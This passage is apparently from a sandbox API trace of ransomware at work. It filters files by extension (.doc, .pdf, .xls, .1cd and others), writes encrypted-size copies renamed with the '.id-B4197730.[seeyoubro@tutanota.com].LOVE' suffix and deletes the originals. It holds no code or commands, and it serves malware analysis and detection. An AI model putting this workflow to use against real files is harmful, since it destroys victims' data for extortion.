4 [0195.759] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.759] lstrlenW (lpString=".xls") returned 4 [0195.759] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.759] lstrlenW (lpString=".xlsx") returned 5 [0195.759] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.759] lstrlenW (lpString=".ppt") returned 4 [0195.760] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.760] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0195.760] lstrlenW (lpString=".zip") returned 4 [0195.760] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.760] lstrlenW (lpString=".rar") returned 4 [0195.760] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.760] lstrlenW (lpString=".bz2") returned 4 [0195.760] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.760] lstrlenW (lpString=".7z") returned 3 [0195.760] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.760] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0195.760] lstrlenW (lpString=".dbf") returned 4 [0195.760] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.760] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0195.760] lstrlenW (lpString=".1cd") returned 4 [0195.760] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.760] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0195.760] lstrlenW (lpString=".jpg") returned 4 [0195.760] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.760] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0195.760] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0195.760] lstrlenW (lpString=".doc") returned 4 [0195.760] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.760] lstrlenW (lpString=".docx") returned 5 [0195.760] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.760] lstrlenW (lpString=".pdf") returned 4 [0195.760] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.760] lstrlenW (lpString=".xls") returned 4 [0195.760] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.760] lstrlenW (lpString=".xlsx") returned 5 [0195.761] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.761] lstrlenW (lpString=".ppt") returned 4 [0195.761] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.761] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0195.761] lstrlenW (lpString=".zip") returned 4 [0195.761] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.761] lstrlenW (lpString=".rar") returned 4 [0195.761] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.761] lstrlenW (lpString=".bz2") returned 4 [0195.761] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.761] lstrlenW (lpString=".7z") returned 3 [0195.761] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.761] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0195.761] lstrlenW (lpString=".dbf") returned 4 [0195.761] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.761] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0195.761] lstrlenW (lpString=".1cd") returned 4 [0195.761] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.761] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0195.761] lstrlenW (lpString=".jpg") returned 4 [0195.761] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.761] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.761] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.761] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0195.762] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=17752) returned 1 [0195.762] CloseHandle (hObject=0x2e0) returned 1 [0195.762] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80 [0195.762] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.762] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0195.762] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.762] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.762] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0195.781] GetLastError () returned 0x0 [0195.781] ReadFile (in: hFile=0x2e0, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x4558, lpOverlapped=0x0) returned 1 [0195.828] WriteFile (in: hFile=0x2f8, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x4560, lpOverlapped=0x0) returned 1 [0195.830] ReadFile (in: hFile=0x2e0, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.830] WriteFile (in: hFile=0x2f8, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.830] SetEndOfFile (hFile=0x2f8) returned 1 [0195.830] CloseHandle (hObject=0x2f8) returned 1 [0195.831] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.831] SetEndOfFile (hFile=0x2e0) returned 1 [0195.832] CloseHandle (hObject=0x2e0) returned 1 [0195.832] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.833] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 1 [0195.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0195.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0195.833] lstrlenW (lpString=".doc") returned 4 [0195.833] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.833] lstrlenW (lpString=".docx") returned 5 [0195.833] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.833] lstrlenW (lpString=".pdf") returned 4 [0195.833] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.833] lstrlenW (lpString=".xls") returned 4 [0195.833] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.833] lstrlenW (lpString=".xlsx") returned 5 [0195.833] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.833] lstrlenW (lpString=".ppt") returned 4 [0195.834] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0195.834] lstrlenW (lpString=".zip") returned 4 [0195.834] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.834] lstrlenW (lpString=".rar") returned 4 [0195.834] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.834] lstrlenW (lpString=".bz2") returned 4 [0195.834] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.834] lstrlenW (lpString=".7z") returned 3 [0195.834] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0195.834] lstrlenW (lpString=".dbf") returned 4 [0195.834] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0195.834] lstrlenW (lpString=".1cd") returned 4 [0195.834] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0195.834] lstrlenW (lpString=".jpg") returned 4 [0195.834] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0195.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0195.834] lstrlenW (lpString=".doc") returned 4 [0195.834] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.834] lstrlenW (lpString=".docx") returned 5 [0195.834] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.834] lstrlenW (lpString=".pdf") returned 4 [0195.834] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.834] lstrlenW (lpString=".xls") returned 4 [0195.834] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.835] lstrlenW (lpString=".xlsx") returned 5 [0195.835] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.835] lstrlenW (lpString=".ppt") returned 4 [0195.835] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0195.835] lstrlenW (lpString=".zip") returned 4 [0195.835] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.835] lstrlenW (lpString=".rar") returned 4 [0195.835] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.835] lstrlenW (lpString=".bz2") returned 4 [0195.835] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.835] lstrlenW (lpString=".7z") returned 3 [0195.835] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0195.835] lstrlenW (lpString=".dbf") returned 4 [0195.835] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0195.835] lstrlenW (lpString=".1cd") returned 4 [0195.835] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0195.835] lstrlenW (lpString=".jpg") returned 4 [0195.835] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.835] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.835] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.835] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0195.836] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=18776) returned 1 [0195.836] CloseHandle (hObject=0x2e0) returned 1 [0195.836] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80 [0195.836] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.836] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0195.836] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.836] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.836] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0195.861] GetLastError () returned 0x0 [0195.861] ReadFile (in: hFile=0x2e0, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x4958, lpOverlapped=0x0) returned 1 [0195.901] WriteFile (in: hFile=0x2f8, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x4960, lpOverlapped=0x0) returned 1 [0195.903] ReadFile (in: hFile=0x2e0, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.903] WriteFile (in: hFile=0x2f8, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.903] SetEndOfFile (hFile=0x2f8) returned 1 [0195.903] CloseHandle (hObject=0x2f8) returned 1 [0195.904] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.904] SetEndOfFile (hFile=0x2e0) returned 1 [0195.905] CloseHandle (hObject=0x2e0) returned 1 [0195.905] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.905] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 1 [0195.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0195.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0195.906] lstrlenW (lpString=".doc") returned 4 [0195.906] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.906] lstrlenW (lpString=".docx") returned 5 [0195.906] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.906] lstrlenW (lpString=".pdf") returned 4 [0195.906] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.906] lstrlenW (lpString=".xls") returned 4 [0195.906] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.906] lstrlenW (lpString=".xlsx") returned 5 [0195.906] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.906] lstrlenW (lpString=".ppt") returned 4 [0195.906] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0195.906] lstrlenW (lpString=".zip") returned 4 [0195.906] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.906] lstrlenW (lpString=".rar") returned 4 [0195.906] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.906] lstrlenW (lpString=".bz2") returned 4 [0195.906] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.906] lstrlenW (lpString=".7z") returned 3 [0195.906] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0195.907] lstrlenW (lpString=".dbf") returned 4 [0195.907] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0195.907] lstrlenW (lpString=".1cd") returned 4 [0195.907] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0195.907] lstrlenW (lpString=".jpg") returned 4 [0195.907] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0195.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0195.907] lstrlenW (lpString=".doc") returned 4 [0195.907] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.907] lstrlenW (lpString=".docx") returned 5 [0195.907] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.907] lstrlenW (lpString=".pdf") returned 4 [0195.907] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.907] lstrlenW (lpString=".xls") returned 4 [0195.907] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.907] lstrlenW (lpString=".xlsx") returned 5 [0195.907] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.907] lstrlenW (lpString=".ppt") returned 4 [0195.907] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0195.907] lstrlenW (lpString=".zip") returned 4 [0195.907] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.907] lstrlenW (lpString=".rar") returned 4 [0195.907] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.907] lstrlenW (lpString=".bz2") returned 4 [0195.908] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.908] lstrlenW (lpString=".7z") returned 3 [0195.908] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.908] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0195.908] lstrlenW (lpString=".dbf") returned 4 [0195.908] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.908] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0195.908] lstrlenW (lpString=".1cd") returned 4 [0195.908] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.908] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0195.908] lstrlenW (lpString=".jpg") returned 4 [0195.908] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.908] lstrcmpiW (lpString1=".ico", lpString2=".LOVE") returned -1 [0195.908] lstrlenW (lpString="Print.ico") returned 9 [0195.908] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0195.910] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=1150) returned 1 [0195.910] CloseHandle (hObject=0x2e0) returned 1 [0195.911] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80 [0195.911] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.911] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0195.911] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.911] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.911] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0195.911] GetLastError () returned 0x0 [0195.911] ReadFile (in: hFile=0x2e0, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x47e, lpOverlapped=0x0) returned 1 [0195.925] WriteFile (in: hFile=0x2f8, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x480, lpOverlapped=0x0) returned 1 [0195.926] ReadFile (in: hFile=0x2e0, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.926] WriteFile (in: hFile=0x2f8, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xe6, lpOverlapped=0x0) returned 1 [0195.926] SetEndOfFile (hFile=0x2f8) returned 1 [0195.927] CloseHandle (hObject=0x2f8) returned 1 [0195.927] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.927] SetEndOfFile (hFile=0x2e0) returned 1 [0195.928] CloseHandle (hObject=0x2e0) returned 1 [0195.928] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.929] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 1 [0195.929] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0195.929] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0195.929] lstrlenW (lpString=".doc") returned 4 [0195.929] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0195.929] lstrlenW (lpString=".docx") returned 5 [0195.929] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0195.929] lstrlenW (lpString=".pdf") returned 4 [0195.929] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0195.929] lstrlenW (lpString=".xls") returned 4 [0195.929] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0195.929] lstrlenW (lpString=".xlsx") returned 5 [0195.929] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0195.929] lstrlenW (lpString=".ppt") returned 4 [0195.930] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0195.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0195.930] lstrlenW (lpString=".zip") returned 4 [0195.930] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0195.930] lstrlenW (lpString=".rar") returned 4 [0195.930] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0195.930] lstrlenW (lpString=".bz2") returned 4 [0195.930] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0195.930] lstrlenW (lpString=".7z") returned 3 [0195.930] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0195.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0195.930] lstrlenW (lpString=".dbf") returned 4 [0195.930] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0195.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0195.930] lstrlenW (lpString=".1cd") returned 4 [0195.930] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0195.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0195.930] lstrlenW (lpString=".jpg") returned 4 [0195.930] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0195.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0195.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0195.930] lstrlenW (lpString=".doc") returned 4 [0195.930] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0195.930] lstrlenW (lpString=".docx") returned 5 [0195.930] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0195.930] lstrlenW (lpString=".pdf") returned 4 [0195.930] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0195.930] lstrlenW (lpString=".xls") returned 4 [0195.930] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0195.931] lstrlenW (lpString=".xlsx") returned 5 [0195.931] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0195.931] lstrlenW (lpString=".ppt") returned 4 [0195.931] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0195.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0195.931] lstrlenW (lpString=".zip") returned 4 [0195.931] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 